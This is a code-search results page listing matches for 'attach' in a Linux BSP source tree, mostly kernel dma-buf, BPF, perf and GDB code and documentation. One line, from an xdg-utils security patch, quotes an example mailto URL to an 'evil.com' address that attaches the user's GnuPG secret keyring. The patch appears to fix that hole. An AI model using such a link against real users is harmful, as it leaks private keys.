Home
last modified time | relevance | path

Searched full:attach (Results 1 – 25 of 2088) sorted by relevance

12345678910>>...84

/OK3568_Linux_fs/kernel/drivers/dma-buf/
H A Ddma-buf-cache.c19 struct dma_buf_attachment *attach; member
35 dma_buf_unmap_attachment(cache->attach, in dma_buf_cache_destructor()
39 dma_buf_detach(dmabuf, cache->attach); in dma_buf_cache_destructor()
51 dma_buf_cache_get_cache(struct dma_buf_attachment *attach) in dma_buf_cache_get_cache() argument
55 struct dma_buf *dmabuf = attach->dmabuf; in dma_buf_cache_get_cache()
63 if (cache->attach == attach) in dma_buf_cache_get_cache()
71 struct dma_buf_attachment *attach) in dma_buf_cache_detach() argument
77 cache = dma_buf_cache_get_cache(attach); in dma_buf_cache_detach()
79 dma_buf_detach(dmabuf, attach); in dma_buf_cache_detach()
88 struct dma_buf_attachment *attach; in dma_buf_cache_attach() local
[all …]
H A Ddma-buf.c842 * calls attach() of dma_buf_ops to allow device-specific attach functionality
843 * @dmabuf: [in] buffer to attach device to.
865 struct dma_buf_attachment *attach; in dma_buf_dynamic_attach() local
874 attach = kzalloc(sizeof(*attach), GFP_KERNEL); in dma_buf_dynamic_attach()
875 if (!attach) in dma_buf_dynamic_attach()
878 attach->dev = dev; in dma_buf_dynamic_attach()
879 attach->dmabuf = dmabuf; in dma_buf_dynamic_attach()
881 attach->peer2peer = importer_ops->allow_peer2peer; in dma_buf_dynamic_attach()
882 attach->importer_ops = importer_ops; in dma_buf_dynamic_attach()
883 attach->importer_priv = importer_priv; in dma_buf_dynamic_attach()
[all …]
/OK3568_Linux_fs/kernel/drivers/gpu/drm/amd/amdgpu/
H A Damdgpu_dma_buf.c169 * amdgpu_dma_buf_attach - &dma_buf_ops.attach implementation
171 * @dmabuf: DMA-buf where we attach to
172 * @attach: attachment to add
177 struct dma_buf_attachment *attach) in amdgpu_dma_buf_attach() argument
184 if (pci_p2pdma_distance_many(adev->pdev, &attach->dev, 1, true) < 0) in amdgpu_dma_buf_attach()
185 attach->peer2peer = false; in amdgpu_dma_buf_attach()
187 if (attach->dev->driver == adev->dev->driver) in amdgpu_dma_buf_attach()
215 * @attach: the attachment to remove
220 struct dma_buf_attachment *attach) in amdgpu_dma_buf_detach() argument
226 if (attach->dev->driver != adev->dev->driver && bo->prime_shared_count) in amdgpu_dma_buf_detach()
[all …]
/OK3568_Linux_fs/kernel/drivers/media/common/videobuf2/
H A Dvideobuf2-vmalloc.c213 struct vb2_vmalloc_attachment *attach; in vb2_vmalloc_dmabuf_ops_attach() local
222 attach = kzalloc(sizeof(*attach), GFP_KERNEL); in vb2_vmalloc_dmabuf_ops_attach()
223 if (!attach) in vb2_vmalloc_dmabuf_ops_attach()
226 sgt = &attach->sgt; in vb2_vmalloc_dmabuf_ops_attach()
229 kfree(attach); in vb2_vmalloc_dmabuf_ops_attach()
237 kfree(attach); in vb2_vmalloc_dmabuf_ops_attach()
244 attach->dma_dir = DMA_NONE; in vb2_vmalloc_dmabuf_ops_attach()
245 dbuf_attach->priv = attach; in vb2_vmalloc_dmabuf_ops_attach()
252 struct vb2_vmalloc_attachment *attach = db_attach->priv; in vb2_vmalloc_dmabuf_ops_detach() local
255 if (!attach) in vb2_vmalloc_dmabuf_ops_detach()
[all …]
H A Dvideobuf2-dma-sg.c358 struct vb2_dma_sg_attachment *attach; in vb2_dma_sg_dmabuf_ops_attach() local
365 attach = kzalloc(sizeof(*attach), GFP_KERNEL); in vb2_dma_sg_dmabuf_ops_attach()
366 if (!attach) in vb2_dma_sg_dmabuf_ops_attach()
369 sgt = &attach->sgt; in vb2_dma_sg_dmabuf_ops_attach()
375 kfree(attach); in vb2_dma_sg_dmabuf_ops_attach()
387 attach->dma_dir = DMA_NONE; in vb2_dma_sg_dmabuf_ops_attach()
388 dbuf_attach->priv = attach; in vb2_dma_sg_dmabuf_ops_attach()
396 struct vb2_dma_sg_attachment *attach = db_attach->priv; in vb2_dma_sg_dmabuf_ops_detach() local
399 if (!attach) in vb2_dma_sg_dmabuf_ops_detach()
402 sgt = &attach->sgt; in vb2_dma_sg_dmabuf_ops_detach()
[all …]
H A Dvideobuf2-cma-sg.c394 struct vb2_cma_sg_attachment *attach; in vb2_cma_sg_dmabuf_ops_attach() local
401 attach = kzalloc(sizeof(*attach), GFP_KERNEL); in vb2_cma_sg_dmabuf_ops_attach()
402 if (!attach) in vb2_cma_sg_dmabuf_ops_attach()
405 sgt = &attach->sgt; in vb2_cma_sg_dmabuf_ops_attach()
411 kfree(attach); in vb2_cma_sg_dmabuf_ops_attach()
423 attach->dma_dir = DMA_NONE; in vb2_cma_sg_dmabuf_ops_attach()
424 dbuf_attach->priv = attach; in vb2_cma_sg_dmabuf_ops_attach()
432 struct vb2_cma_sg_attachment *attach = db_attach->priv; in vb2_cma_sg_dmabuf_ops_detach() local
435 if (!attach) in vb2_cma_sg_dmabuf_ops_detach()
438 sgt = &attach->sgt; in vb2_cma_sg_dmabuf_ops_detach()
[all …]
H A Dvideobuf2-dma-contig.c218 struct vb2_dc_attachment *attach; in vb2_dc_dmabuf_ops_attach() local
225 attach = kzalloc(sizeof(*attach), GFP_KERNEL); in vb2_dc_dmabuf_ops_attach()
226 if (!attach) in vb2_dc_dmabuf_ops_attach()
229 sgt = &attach->sgt; in vb2_dc_dmabuf_ops_attach()
235 kfree(attach); in vb2_dc_dmabuf_ops_attach()
247 attach->dma_dir = DMA_NONE; in vb2_dc_dmabuf_ops_attach()
248 dbuf_attach->priv = attach; in vb2_dc_dmabuf_ops_attach()
256 struct vb2_dc_attachment *attach = db_attach->priv; in vb2_dc_dmabuf_ops_detach() local
259 if (!attach) in vb2_dc_dmabuf_ops_detach()
262 sgt = &attach->sgt; in vb2_dc_dmabuf_ops_detach()
[all …]
/OK3568_Linux_fs/kernel/drivers/xen/
H A Dgntdev-dmabuf.c53 struct dma_buf_attachment *attach; member
226 struct dma_buf_attachment *attach) in dmabuf_exp_ops_attach() argument
236 attach->priv = gntdev_dmabuf_attach; in dmabuf_exp_ops_attach()
241 struct dma_buf_attachment *attach) in dmabuf_exp_ops_detach() argument
243 struct gntdev_dmabuf_attachment *gntdev_dmabuf_attach = attach->priv; in dmabuf_exp_ops_detach()
250 dma_unmap_sgtable(attach->dev, sgt, in dmabuf_exp_ops_detach()
258 attach->priv = NULL; in dmabuf_exp_ops_detach()
263 dmabuf_exp_ops_map_dma_buf(struct dma_buf_attachment *attach, in dmabuf_exp_ops_map_dma_buf() argument
266 struct gntdev_dmabuf_attachment *gntdev_dmabuf_attach = attach->priv; in dmabuf_exp_ops_map_dma_buf()
267 struct gntdev_dmabuf *gntdev_dmabuf = attach->dmabuf->priv; in dmabuf_exp_ops_map_dma_buf()
[all …]
/OK3568_Linux_fs/kernel/drivers/video/rockchip/rga3/
H A Drga_dma_buf.c431 struct dma_buf_attachment *attach = NULL; in rga_dma_map_buf() local
443 attach = dma_buf_attach(dma_buf, rga_dev); in rga_dma_map_buf()
444 if (IS_ERR(attach)) { in rga_dma_map_buf()
445 ret = PTR_ERR(attach); in rga_dma_map_buf()
446 pr_err("Failed to attach dma_buf, ret[%d]\n", ret); in rga_dma_map_buf()
450 sgt = dma_buf_map_attachment(attach, dir); in rga_dma_map_buf()
458 rga_dma_buffer->attach = attach; in rga_dma_map_buf()
469 if (attach) in rga_dma_map_buf()
470 dma_buf_detach(dma_buf, attach); in rga_dma_map_buf()
482 struct dma_buf_attachment *attach = NULL; in rga_dma_map_fd() local
[all …]
/OK3568_Linux_fs/kernel/Documentation/bpf/
H A Dmap_cgroup_storage.rst10 attach to cgroups; the programs are made available by the same Kconfig. The
34 ``attach_type`` is the the program's attach type.
37 When this key type is used, then all attach types of the particular cgroup and
39 ``struct bpf_cgroup_storage_key``, then programs of different attach types
133 multiple attach types, and each attach creates a fresh zeroed storage. The
145 does not already contain an entry for the cgroup and attach type pair, or else
146 the old storage is reused for the new attachment. If the map is attach type
147 shared, then attach type is simply ignored during comparison. Storage is freed
158 In all versions, userspace may use the the attach parameters of cgroup and
159 attach type pair in ``struct bpf_cgroup_storage_key`` as the key to the BPF map
[all …]
/OK3568_Linux_fs/kernel/tools/testing/selftests/bpf/prog_tests/
H A Dcg_storage_multi.c98 /* Attach to parent cgroup, trigger packet from child. in test_egress_only()
105 if (CHECK(IS_ERR(parent_link), "parent-cg-attach", in test_egress_only()
123 /* Attach to parent and child cgroup, trigger packet from child. in test_egress_only()
129 if (CHECK(IS_ERR(child_link), "child-cg-attach", in test_egress_only()
172 /* Attach to parent cgroup, trigger packet from child. in test_isolated()
179 if (CHECK(IS_ERR(parent_egress1_link), "parent-egress1-cg-attach", in test_isolated()
184 if (CHECK(IS_ERR(parent_egress2_link), "parent-egress2-cg-attach", in test_isolated()
189 if (CHECK(IS_ERR(parent_ingress_link), "parent-ingress-cg-attach", in test_isolated()
217 /* Attach to parent and child cgroup, trigger packet from child. in test_isolated()
224 if (CHECK(IS_ERR(child_egress1_link), "child-egress1-cg-attach", in test_isolated()
[all …]
H A Dcgroup_attach_override.c48 "attach prog to %s failed, errno=%d\n", FOO, errno)) in test_cgroup_attach_override()
66 "attach prog to %s failed, errno=%d\n", BAR, errno)) in test_cgroup_attach_override()
84 "attach prog to %s failed, errno=%d\n", BAR, errno)) in test_cgroup_attach_override()
98 "attach prog to %s failed, errno=%d\n", BAR, errno)) in test_cgroup_attach_override()
103 "attach prog to %s unexpectedly succeeded\n", BAR)) in test_cgroup_attach_override()
118 "attach prog to %s failed, errno=%d\n", FOO, errno)) in test_cgroup_attach_override()
123 "attach prog to %s unexpectedly succeeded\n", BAR)) in test_cgroup_attach_override()
129 "attach prog to %s unexpectedly succeeded\n", BAR)) in test_cgroup_attach_override()
135 "attach prog to %s unexpectedly succeeded\n", FOO)) in test_cgroup_attach_override()
140 "attach prog to %s failed, errno=%d\n", FOO, errno)) in test_cgroup_attach_override()
H A Dtrace_ext.c29 /* open/load/attach test_pkt_md_access */ in test_trace_ext()
35 if (CHECK(err, "setup", "classifier/test_pkt_md_access attach failed: %d\n", err)) in test_trace_ext()
46 /* set extension's attach target - test_pkt_md_access */ in test_trace_ext()
50 /* load/attach extension */ in test_trace_ext()
59 if (CHECK(err, "setup", "freplace/test_pkt_md_access attach failed: %d\n", err)) in test_trace_ext()
70 /* set tracing's attach target - fentry */ in test_trace_ext()
74 /* set tracing's attach target - fexit */ in test_trace_ext()
78 /* load/attach tracing */ in test_trace_ext()
87 if (CHECK(err, "setup", "tracing/test_pkt_md_access_new attach failed: %d\n", err)) in test_trace_ext()
H A Dtest_overhead.c108 /* attach kprobe */ in test_test_overhead()
116 /* attach kretprobe */ in test_test_overhead()
119 if (CHECK(IS_ERR(link), "attach kretprobe", "err %ld\n", PTR_ERR(link))) in test_test_overhead()
124 /* attach raw_tp */ in test_test_overhead()
126 if (CHECK(IS_ERR(link), "attach fentry", "err %ld\n", PTR_ERR(link))) in test_test_overhead()
131 /* attach fentry */ in test_test_overhead()
133 if (CHECK(IS_ERR(link), "attach fentry", "err %ld\n", PTR_ERR(link))) in test_test_overhead()
138 /* attach fexit */ in test_test_overhead()
140 if (CHECK(IS_ERR(link), "attach fexit", "err %ld\n", PTR_ERR(link))) in test_test_overhead()
/OK3568_Linux_fs/kernel/drivers/video/rockchip/iep/
H A Diep_iommu_drm.c35 struct dma_buf_attachment *attach; member
117 dev_err(dev, "Failed to attach iommu device\n"); in iep_drm_attach_unlock()
164 dev_err(dev, "can't clea map, attach iommu failed.\n"); in iep_drm_clear_map()
167 if (drm_buffer->attach) { in iep_drm_clear_map()
168 dma_buf_unmap_attachment(drm_buffer->attach, drm_buffer->sgt, in iep_drm_clear_map()
170 dma_buf_detach(drm_buffer->dma_buf, drm_buffer->attach); in iep_drm_clear_map()
172 drm_buffer->attach = NULL; in iep_drm_clear_map()
326 struct dma_buf_attachment *attach; in iep_drm_import() local
364 attach = dma_buf_attach(drm_buffer->dma_buf, dev); in iep_drm_import()
365 if (IS_ERR(attach)) { in iep_drm_import()
[all …]
/OK3568_Linux_fs/kernel/tools/bpf/bpftool/Documentation/
H A Dbpftool-cgroup.rst18 { **show** | **list** | **tree** | **attach** | **detach** | **help** }
25 | **bpftool** **cgroup attach** *CGROUP* *ATTACH_TYPE* *PROG* [*ATTACH_FLAGS*]
42 Output will start with program ID followed by attach type,
43 attach flags and program name.
56 program ID, attach type, attach flags and program name.
62 **bpftool cgroup attach** *CGROUP* *ATTACH_TYPE* *PROG* [*ATTACH_FLAGS*]
63 Attach program *PROG* to the cgroup *CGROUP* with attach type
73 no attach flags or the **override** flag. Attaching another
74 program will release old program and attach the new one.
113 Detach *PROG* from the cgroup *CGROUP* and attach type
[all …]
H A Dbpftool-net.rst18 { **show** | **list** | **attach** | **detach** | **help** }
24 | **bpftool** **net attach** *ATTACH_TYPE* *PROG* **dev** *NAME* [ **overwrite** ]
55 **bpftool** **net attach** *ATTACH_TYPE* *PROG* **dev** *NAME* [ **overwrite** ]
56 Attach bpf program *PROG* to network interface *NAME* with
70 *ATTACH_TYPE* previously used for attach must be specified.
149 | **# bpftool net attach xdpdrv id 16 dev enp6s0np0**
158 | **# bpftool net attach xdpdrv id 16 dev enp6s0np0**
159 | **# bpftool net attach xdpdrv id 20 dev enp6s0np0 overwrite**
168 | **# bpftool net attach xdpdrv id 16 dev enp6s0np0**
/OK3568_Linux_fs/kernel/drivers/gpu/arm/mali400/ump/linux/
H A Dump_ukk_ref_wrappers.c83 struct dma_buf_attachment *attach; in get_ump_handle_from_dmabuf() local
94 attach = session_mem->mem->import_attach; in get_ump_handle_from_dmabuf()
95 if (attach->dmabuf == dmabuf) { in get_ump_handle_from_dmabuf()
116 struct dma_buf_attachment *attach = NULL; in ump_dmabuf_import_wrapper() local
150 attach = dma_buf_attach(dma_buf, ump_global_mdev); in ump_dmabuf_import_wrapper()
151 if (IS_ERR(attach)) { in ump_dmabuf_import_wrapper()
152 ret = PTR_ERR(attach); in ump_dmabuf_import_wrapper()
156 sgt = dma_buf_map_attachment(attach, DMA_BIDIRECTIONAL); in ump_dmabuf_import_wrapper()
192 session->mem->import_attach = attach; in ump_dmabuf_import_wrapper()
223 dma_buf_unmap_attachment(attach, sgt, DMA_BIDIRECTIONAL); in ump_dmabuf_import_wrapper()
[all …]
/OK3568_Linux_fs/kernel/drivers/gpu/drm/
H A Ddrm_prime.c543 * Optional pinning of buffers is handled at dma-buf attach and detach time in
570 * drm_gem_map_attach - dma_buf attach implementation for GEM
571 * @dma_buf: buffer to attach device to
572 * @attach: buffer attachment data
575 * used as the &dma_buf_ops.attach callback. Must be used together with
581 struct dma_buf_attachment *attach) in drm_gem_map_attach() argument
592 * @attach: attachment to be detached
599 struct dma_buf_attachment *attach) in drm_gem_map_detach() argument
609 * @attach: attachment whose scatterlist is to be returned
619 struct sg_table *drm_gem_map_dma_buf(struct dma_buf_attachment *attach, in drm_gem_map_dma_buf() argument
[all …]
/OK3568_Linux_fs/kernel/drivers/media/usb/cx231xx/
H A Dcx231xx-dvb.c381 dev_err(dev->dev, "%s/2: dvb frontend not attached. Can't attach xc5000\n",
388 dev_err(dev->dev, "%s/2: xc5000 attach failed\n", dev->name);
657 "Failed to attach s5h1432 front end\n"); in dvb_init()
682 "Failed to attach s5h1411 front end\n"); in dvb_init()
705 "Failed to attach s5h1432 front end\n"); in dvb_init()
729 "Failed to attach s5h1411 front end\n"); in dvb_init()
756 "Failed to attach LG3305 front end\n"); in dvb_init()
773 /* attach demod */ in dvb_init()
778 /* perform probe/init/attach */ in dvb_init()
805 /* attach demod */ in dvb_init()
[all …]
/OK3568_Linux_fs/kernel/tools/perf/tests/
H A Devent-times.c163 static int test_times(int (attach)(struct evlist *), in test_times()
188 err = attach(evlist); in test_times()
194 TEST_ASSERT_VAL("failed to attach", !err); in test_times()
223 #define _T(attach, detach) \ in test__event_times() argument
224 err = test_times(attach, detach); \ in test__event_times()
228 /* attach on newly spawned process after exec */ in test__event_times()
230 /* attach on current process as enabled */ in test__event_times()
232 /* attach on current process as disabled */ in test__event_times()
234 /* attach on cpu as disabled */ in test__event_times()
236 /* attach on cpu as enabled */ in test__event_times()
/OK3568_Linux_fs/yocto/poky/meta/recipes-extended/xdg-utils/xdg-utils/
H A D1f199813e0eb0246f63b54e9e154970e609575af.patch11 mailto:sid@evil.com?attach=/.gnupg/secring.gpg
32 - local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
41 - ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g…
49 - if [ -n "$ATTACH" ] ; then
50 - NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
/OK3568_Linux_fs/kernel/drivers/gpu/drm/omapdrm/
H A Domap_gem_dmabuf.c129 struct dma_buf_attachment *attach; in omap_gem_prime_import() local
146 attach = dma_buf_attach(dma_buf, dev->dev); in omap_gem_prime_import()
147 if (IS_ERR(attach)) in omap_gem_prime_import()
148 return ERR_CAST(attach); in omap_gem_prime_import()
152 sgt = dma_buf_map_attachment(attach, DMA_TO_DEVICE); in omap_gem_prime_import()
164 obj->import_attach = attach; in omap_gem_prime_import()
169 dma_buf_unmap_attachment(attach, sgt, DMA_TO_DEVICE); in omap_gem_prime_import()
171 dma_buf_detach(dma_buf, attach); in omap_gem_prime_import()
/OK3568_Linux_fs/prebuilts/gcc/linux-x86/arm/gcc-arm-10.3-2021.07-x86_64-arm-none-linux-gnueabihf/share/doc/gdb/
H A DAttach.html17 <title>Debugging with GDB: Attach</title>
19 <meta name="description" content="Debugging with GDB: Attach">
20 <meta name="keywords" content="Debugging with GDB: Attach">
64 <a name="Attach"></a>
72 <a name="index-attach-1"></a>
73 <a name="index-attach"></a>
76 <dt><code>attach <var>process-id</var></code></dt>
83 <p><code>attach</code> does not repeat if you press <tt class="key">RET</tt> a second time after
88 <p>To use <code>attach</code>, your program must be running in an environment
89 which supports processes; for example, <code>attach</code> does not work for
[all …]
/OK3568_Linux_fs/prebuilts/gcc/linux-x86/aarch64/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu/share/doc/gdb/
H A DAttach.html17 <title>Debugging with GDB: Attach</title>
19 <meta name="description" content="Debugging with GDB: Attach">
20 <meta name="keywords" content="Debugging with GDB: Attach">
64 <a name="Attach"></a>
72 <a name="index-attach-1"></a>
73 <a name="index-attach"></a>
76 <dt><code>attach <var>process-id</var></code></dt>
83 <p><code>attach</code> does not repeat if you press <tt class="key">RET</tt> a second time after
88 <p>To use <code>attach</code>, your program must be running in an environment
89 which supports processes; for example, <code>attach</code> does not work for
[all …]

12345678910>>...84